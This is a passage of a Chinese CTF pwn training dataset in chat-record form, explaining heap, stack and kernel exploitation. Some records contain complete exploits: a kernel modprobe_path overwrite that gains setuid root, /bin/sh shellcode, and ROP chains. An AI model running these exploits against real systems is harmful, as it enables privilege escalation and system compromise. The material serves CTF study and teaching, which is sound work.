漏洞。可以修改 chunk1 的 fd 指针指向特定地址，这样就可以在特定位置申请 chunk 。不过值得注意的是，由于存在如下检查，要保证申请 chunk 位置对应的 size 字段的值是正确的。\n\n```c\nif (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {`\n\n    errstr = \"malloc(): memory corruption (fast)\";\n    errout:\n    malloc_printerr(check_action, errstr, chunk2mem(victim));\n    return NULL;\n}\n```\n\nfastbin 的堆块被释放后`next_chunk`的`pre_inuse`位不会被清空。\n\nfastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有验证。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a14ccda47fa9606a", "original_line": 95, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4c74607bba6ecbd9d5e5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/minishell/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/minishell/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x68732f2f6e69622f`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nru(\"minishell$\")\nsl(\"cat\")\nshellcode = \"\"\"\nlea    rsp,[rdi+0x70]\nmov    rbx,0x68732f2f6e69622f\npush   rbx\npush   rsp\npop    rdi\nmov    al,59\nsyscall\n\"\"\"\nshellcode=asm(shellcode)\nprint(len(shellcode))\n#dbg()\ns(shellcode)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-fd8a1b098fdd9bad", "original_line": 424, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell/exp.py", "split": "train", "split_group_key": "edcc418b6ca2e62ed79426b8"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/minishell/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4d200d8c8d14cbaa519f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Submission placeholders」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/exploit.md；主题：Exploit；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### Submission placeholders\n\nThe original-archive provenance remains a draft field.\nThe user-filled archive values are intentionally blank:\n\n```text\noriginal.tar.gz:\nsubmitted_sha256:\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-1496f4d950bd7d23", "original_line": 388, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "split_group_key": "7f9976b6c691c088eb102a55"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4d3418b013a554e2faa5", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/2025ccb-ram_snoop/exp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/2025ccb-ram_snoop/exp.c`\n\n分类：kernel\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `create_helper`\n- `exec_trigger`\n- `get_flag`\n- `get_kernel_sym`\n- `main`\n- `search_target_proc`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n- kernel\n\n关键常量/偏移样例：\n`0x100`, `0x110`, `0xffff`, `0x10000`, `0x10001`, `0x407148`, `0x83170405`\n\n训练用代码片段：\n```c\n#define _GNU_SOURCE\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\ntypedef struct {\n    uint32_t proc_id;\n    char proc_name[16];\n    uint32_t mem_free;\n    uint32_t mem_used;\n    uint64_t mem_ptr;\n} leak_data_t;\n\nstatic uint64_t get_kernel_sym(const char *name) {\n    FILE *fp = fopen(\"/tmp/coresysms.txt\", \"r\");\n    if (!fp) fp = fopen(\"/proc/kallsyms\", \"r\");\n    if (!fp) return 0;\n\n    char row[512], sym_name[256], sym_type;\n    unsigned long long sym_addr;\n    while (fgets(row, sizeof(row), fp)) {\n        if (sscanf(row, \"%llx %c %255s\", &sym_addr, &sym_type, sym_name) == 3) {\n            if (!strcmp(sym_name, name)) {\n                fclose(fp);\n                return (uint64_t)sym_addr;\n            }\n        }\n    }\n    fclose(fp);\n    return 0;\n}\n\nstatic int search_target_proc(void) {\n    DIR *dp = opendir(\"/proc\");\n    if (!dp) return -1;\n\n    struct dirent *ent;\n    char link_path[128], real_path[256];\n    while ((ent = readdir(dp))) {\n        char *endp;\n        long proc_id = strtol(ent->d_name, &endp, 10);\n        if (*endp) continue;\n\n        snprintf(link_path, sizeof(link_path), \"/proc/%ld/exe\", proc_id);\n        ssize_t len = readlink(link_path, real_path, sizeof(real_path) - 1);\n        if (len > 0) {\n            real_path[len] = 0;\n            if (!strcmp(real_path, \"/home/eatFlag\")) {\n                closedir(dp);\n                return (int)proc_id;\n            }\n        }\n    }\n    closedir(dp);\n    return -1;\n}\n\nstatic void get_flag(void) {\n    int proc_id = search_target_proc();\n    if (proc_id < 0) return;\n\n    char mem_file[64];\n    snprintf(mem_file, sizeof(mem_file), \"/proc/%d/mem\", proc_id);\n    int fd = open(mem_file, O_RDONLY);\n    if (fd < 0) return;\n\n    uint64_t secret_ptr = 0;\n    pread(fd, &secret_ptr, 8, 0x407148);\n\n    char secret_data[0x110] = {0};\n    pread(fd, secret_data, 0x100, (off_t)secret_ptr);\n    printf(\"[!] FLAG: %s\\n\", secret_data);\n    close(fd);\n}\n\nstatic void create_helper(const char *path, const char *script) {\n    int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0777);\n    write(fd, script, strlen(script));\n    close(fd);\n    chmod(path, 0777);\n}\n\nstatic void exec_trigger(void) {\n    int fd = open(\"/tmp/dummy\", O_CREAT | O_TRUNC | O_WRONLY, 0777);\n    unsigned char header[4] = {0xff, 0xff, 0xff, 0xff};\n    write(fd, header, 4);\n    close(fd);\n    chmod(\"/tmp/dummy\", 0777);\n    system(\"/tmp/dummy\");\n}\n\nint main(void) {\n    if (geteuid() == 0) {\n        get_flag();\n        return 0;\n    }\n\n    uint64_t target_sym = get_kernel_sym(\"modprobe_path\");\n\n    int dev_fd = open(\"/dev/noc\", O_RDWR);\n    if (dev_fd < 0) return 1;\n\n    leak_data_t leak = {0};\n    ioctl(dev_fd, 0x83170405, &leak);\n    uint64_t kern_buf = leak.mem_ptr;\n\n    char *padding = malloc(0x10000);\n    memset(padding, 'A', 0x10000);\n    write(dev_fd, padding, 0x10000);\n    lseek(dev_fd, 0, SEEK_SET);\n    write(dev_fd, padding, 0x20);\n    free(padding);\n\n    uint64_t offset = target_sym - kern_buf;\n    uint64_t base_addr = offset & ~0xffULL;\n    uint64_t rel_pos = offset & 0xffULL;\n    uint64_t end_addr = base_addr + 1;\n\n    char *exploit_buf = calloc(1, 0xffff);\n    for (int idx = 0; idx < 7; idx++)\n        exploit_buf[idx] = (base_addr >> (8 * (idx + 1))) & 0xff;\n    memcpy(exploit_buf + 7, &end_addr, 8);\n\n    lseek(dev_fd, 0x10001, SEEK_SET);\n    write(dev_fd, exploit_buf, 0xffff);\n    free(exploit_buf);\n\n    char hijack_path[0x40] = {0};\n    strcpy(hijack_path, \"/tmp/s\");\n    lseek(dev_fd, (off_t)rel_pos, SEEK_SET);\n    write(dev_fd, hijack_path, sizeof(hijack_path));\n    close(dev_fd);\n\n\tcreate_helper(\n    \t\"/tmp/s\",\n\t    \"#!/bin/sh\\n\"\n    \t\"chown root:root /tmp/exp\\n\"\n\t    \"chmod 4755 /tmp/exp\\n\"\n\t);\n\n    exec_trigger();\n\n    execl(\"/tmp/exp\", \"exp\", NULL);\n\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-01ba635c1b9de824", "original_line": 286, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2025ccb-ram_snoop/exp.c", "split": "train", "split_group_key": "3b9f14ce7e473cd59ff69bf7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2025ccb-ram_snoop/exp.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4deb8f2c3eb23dd8038e", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「brk和sbrk」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### brk和sbrk\n\n`brk`是系统调用，`sbrk`为库函数。系统调用负责提供一种最小功能，而库函数则提供比较复杂的功能。`malloc`函数族就是调用`sbrk`函数将数据段的下界移动分配内存。\n\n```c\n#include \nint brk(void *end_data_segment);\nvoid *sbrk(intptr_t increment);\n```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-771ad616ddccf685", "original_line": 90, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4ee23fd08bb4e3a3a73d", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h`\n\n分类：kernel\n\n语言：c\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n训练用代码片段：\n```c\n/*\n * Copyright 2025 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n/**\n * @defgroup util_classes Utility Classes\n * @brief Helper classes for various utilities.\n */\n\n/**\n * @ingroup util_classes\n * @brief Enum representing x86-64 general-purpose registers.\n */\nenum class Register { RAX = 0, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8, R9, R10, R11, R12, R13, R14, R15 };\n\n/**\n * @ingroup util_classes\n * @brief An array of human-readable names for the Register enum values.\n */\nextern const char* register_names[];\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-cabedf5b75641806", "original_line": 311, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h", "split": "train", "split_group_key": "62284c5a7a803000edd5ace4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/Register.h", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4f1aaac9706f261b08b0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「申请内存：alloc_pipe_info」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 申请内存：alloc_pipe_info\n\n```c\nstruct pipe_inode_info *alloc_pipe_info(void)\n{\n    struct pipe_inode_info *pipe;\n    unsigned long pipe_bufs = PIPE_DEF_BUFFERS;\n    struct user_struct *user = get_current_user();\n    unsigned long user_bufs;\n    unsigned int max_size = READ_ONCE(pipe_max_size);\n\n    pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);\n    if (pipe == NULL)\n        goto out_free_uid;\n\n    if (pipe_bufs * PAGE_SIZE > max_size && !capable(CAP_SYS_RESOURCE))\n        pipe_bufs = max_size >> PAGE_SHIFT;\n\n    user_bufs = account_pipe_buffers(user, 0, pipe_bufs);\n\n    if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {\n        user_bufs = account_pipe_buffers(user, pipe_bufs, PIPE_MIN_DEF_BUFFERS);\n        pipe_bufs = PIPE_MIN_DEF_BUFFERS;\n    }\n\n    if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())\n        goto out_revert_acct;\n\n    pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),\n                 GFP_KERNEL_ACCOUNT);\n\n    if (pipe->bufs) {\n        init_waitqueue_head(&pipe->rd_wait);\n        init_waitqueue_head(&pipe->wr_wait);\n        pipe->r_counter = pipe->w_counter = 1;\n        pipe->max_usage = pipe_bufs;\n        pipe->ring_size = pipe_bufs;\n        pipe->nr_accounted = pipe_bufs;\n        pipe->user = user;\n        mutex_init(&pipe->mutex);\n        return pipe;\n    }\n\nout_revert_acct:\n    (void) account_pipe_buffers(user, pipe_bufs, 0);\n    kfree(pipe);\nout_free_uid:\n    free_uid(user);\n    return NULL;\n}\n```\n\n建立管道时，内核首先申请 `pipe_inode_info`，随后在 `pipe_inode_info->bufs` 中申请 `pipe_buffer` 数组：\n\n```c\nunsigned long pipe_bufs = PIPE_DEF_BUFFERS;\npipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),\n                 GFP_KERNEL_ACCOUNT);\n```\n\n`PIPE_DEF_BUFFERS = 16`，所以会申请 `0x10 * 0x30 = 0x300` 大小的内存，对应 `kmalloc-1k`。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-c1de0ddc2226215f", "original_line": 348, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4f3d9538d4c4c5a720a8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「关键结构体」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 关键结构体\n\n`include/linux/msg.h` 中定义了 `msg_msg`：\n\n```c\nstruct msg_msg {\n    struct list_head m_list;\n    long m_type;\n    size_t m_ts;        /* message text size */\n    struct msg_msgseg *next;\n    void *security;\n    /* the actual message follows immediately */\n};\n```\n\n其中 `list_head` 是双向链表节点，用于保存 `next` 和 `prev` 指针：\n\n```c\nstruct list_head {\n    struct list_head *next, *prev;\n};\n```\n\n`ipc/msgutil.c` 中定义了 `msg_msgseg`：\n\n```c\nstruct msg_msgseg {\n    struct msg_msgseg *next;\n    /* the next part of the message follows immediately */\n};\n```\n\n`msg_msgseg` 可以理解为 `msg_msg` 的后续分段节点，用来承载超出首个 `msg_msg` 数据区的消息内容。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-efc9e989d8405a62", "original_line": 350, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-5020335e8fc171706141", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「原理」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 原理\n\nret2dlresolve 攻击的原理就是程序动态链接时进行延迟绑定是需要通过`dl_runtime_resolve`函数进行重定位的。如果我们可以控制相应的参数及其对应地址内容，就可以控制解析的函数了。所以进行 ret2dlresolve 攻击的一个必要条件是程序必须是动态链接的，因为只有动态链接的程序才会存在`dl_runtime_resolve`这个函数。\n\n`_dl_runtime_resolve` 使用 `reloc_arg` 找到 `.rel.plt` 中的重定位项：\n\n```c\nstruct link_map {\n    // ...\n    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALTAGIDX];\n};\n\n// 查找流程：\nreloc = JMPREL + reloc_arg;  // 获取 Elf_Rel 结构\nsym = SYMTAB + ELF_R_SYM(reloc->r_info);  // 获取 Elf_Sym 结构\nname = STRTAB + sym->st_name;  // 获取函数名\naddress = _dl_lookup_symbol_x(name, ...);  // 查找函数地址\n```\n\n**利用思路**：\n\n伪造重定位所需的数据结构。\n\n- 伪造 Elf_Rel 结构\n\n```c\ntypedef struct {\n    Elf32_Addr r_offset;  // GOT 表地址（可写地址）\n    Elf32_Word r_info;    // 符号表索引（指向伪造的 sym）\n} Elf32_Rel;\n```\n\n- 伪造 Elf_Sym 结构\n\n```c\ntypedef struct {\n    Elf32_Word st_name;   // 字符串表偏移（指向伪造的函数名）\n    Elf32_Addr st_value;\n    Elf32_Word st_size;\n    unsigned char st_info;\n    unsigned char st_other;\n    Elf32_Half st_shndx;\n} Elf32_Sym;\n```\n\n- 伪造函数名字符串（如 \"system\"）", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5e0508c182f44151", "original_line": 600, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-512a4d5711c00a5199c0", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2reg/ciscn_2019_s_9/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2reg/ciscn_2019_s_9/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\njmp_esp = next(elf.search(asm('jmp esp')))\nshellcode=b\"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80\"\npayload = shellcode.ljust(36,b'a')+ p32(jmp_esp) + asm('sub esp,40;jmp esp')\nr()\nsl(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-code-ccd9aa82fb112f49", "original_line": 543, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2reg/ciscn_2019_s_9/exp_cli.py", "split": "train", "split_group_key": "dc5c21877ba716d7a927710b"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2reg/ciscn_2019_s_9/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-51d825200c84bf0d118f", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/2024ycb pstack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/2024ycb pstack/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n关键常量/偏移样例：\n`0x200`, `0x500`, `0x4005b0`, `0x4006c4`, `0x4006db`, `0x0000000000400506`, `0x0000000000400773`\n\n训练用代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc.so.6\")\ncontext.arch=elf.arch\n\nrdi=0x0000000000400773\nret=0x0000000000400506\nleave_ret=0x4006db\nbss=elf.bss()+0x500\nvuln=0x4006c4\nrbp=0x4005b0\nputs_got=elf.got.puts\nputs_plt=elf.plt.puts\n\npay1=b'a'*0x30+p64(bss+0x30)+p64(vuln)\ns(pay1)\n\npay2=p64(rdi)+p64(puts_got)+p64(puts_plt)\npay2+=p64(rbp)+p64(bss+0x200+0x30)+p64(vuln)\npay2+=p64(bss-8)+p64(leave_ret)\n\ns(pay2)\n\nru(b\"flow?\\n\")\nputs_addr=u64(ru(b\"\\x7f\")[-6:].ljust(8,b'\\x00'))\nbase=puts_addr-libc.sym.puts\nsys=base+libc.sym.system\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\n\npay3=(p64(rdi)+p64(sh)+p64(sys)).ljust(0x30,b'\\x00')\npay3+=p64(bss+0x200-0x8)+p64(leave_ret)\ns(pay3)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-4960e80ff398394d", "original_line": 56, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ycb pstack/exp.py", "split": "train", "split_group_key": "ad60f80746d78c027c92026d"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ycb pstack/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-52014bdee7016f1f7b32", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Kernel/MINI-LCTF2022-kgadget/exp.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Kernel/MINI-LCTF2022-kgadget/exp.sh`\n\n分类：kernel\n\n语言：bash\n\n利用主题关键词：\n- seccomp/orw\n\n训练用代码片段：\n```bash\n#!/bin/sh\n\nqemu-system-x86_64 \\\n\t-m 256M \\\n\t-cpu kvm64,+smep,+smap \\\n\t-smp cores=2,threads=2 \\\n\t-kernel bzImage \\\n\t-initrd ./exp.cpio \\\n\t-nographic \\\n\t-monitor /dev/null \\\n\t-snapshot \\\n\t-append \"console=ttyS0 nokaslr pti=on quiet oops=panic panic=1\" \\\n\t-no-reboot\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-78edcd24af1cc26b", "original_line": 320, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/MINI-LCTF2022-kgadget/exp.sh", "split": "train", "split_group_key": "ff21bf2facf33e4bae439b61"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/MINI-LCTF2022-kgadget/exp.sh", "split": "train", "type": "ctf_lora_sft"}
{"category": "seccomp", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-520ff01284e5fe06b294", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Seccomp绕过/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Seccomp绕过/exp.py`\n\n分类：seccomp\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n- `from Crypto.Cipher import ARC4`\n- `from Crypto.Random import get_random_bytes`\n\n函数/封装：\n- `dbg`\n- `delete`\n- `get_passwd`\n- `get_username`\n- `new`\n- `rc4_dec`\n- `rc4_enc`\n- `show`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n- safe-linking\n\n关键常量/偏移样例：\n`0x100`, `0x110`, `0x200`, `0x1b96`, `0x1bc0`, `0x2450`, `0x24c8`, `0x2164f`, `0x23a6a`, `0x52085`, `0x10fbf0`, `0x110020`, `0x1100f0`, `0x3ebca0`, 